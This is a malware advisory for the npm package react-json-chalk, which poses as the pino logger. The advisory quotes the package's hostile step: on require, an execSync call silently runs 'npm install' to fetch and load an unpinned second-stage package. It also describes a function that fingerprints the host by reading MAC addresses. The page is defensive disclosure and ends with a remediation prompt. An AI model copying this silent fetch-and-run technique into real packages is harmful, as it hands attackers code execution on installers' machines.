# MAL-2026-4792: Malicious code in react-json-chalk (npm)


- **Type:** Malicious package
- **Package:** `react-json-chalk` (npm)
- **Published:** 26 May 2026
- **Also known as:** GHSA-x796-gxxr-pvcr

## What is MAL-2026-4792?

MAL-2026-4792 is a malicious package in react-json-chalk, published on 26 May 2026. 

### Official description

The package is published as `react-json-chalk` but its `main` entry (`pino.js`) impersonates the pino logger (homepage `https://getpino.io`, bundled pino source tree, misappropriated description). On `require('react-json-chalk')`, `pino.js` immediately loads `lib/writer.js`, which at module top level tries `require('react-pinojs')` and, if absent, executes `child_process.execSync("npm install react-pinojs --no-warnings --no-save --no-progress --loglevel silent")` and then `require('../../react-pinojs/pino.js')`. The flags suppress install output and avoid persisting the dependency in package.json, so consumers get no visible signal that a second package was fetched. The fetched dependency is unpinned, fully controlled by whoever publishes `react-pinojs`, and its code runs as part of the require() of this package — arbitrary attacker code on the installer's machine on every import. The same `lib/writer.js` defines `getMacAddress()` which enumerates non-internal IPv4 interface MAC addresses, consistent with host fingerprinting handed off to the second stage. The package name/contents mismatch (logger source tree under an unrelated name) is also a namespace-abuse / pino-impersonation pattern.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4792?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4792 is a malicious package: react-json-chalk (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4792/ (Markdown: https://insights.sbomify.com/MAL-2026-4792/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4792

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4792/
Summaries are generated and may contain mistakes; the official description above is the record.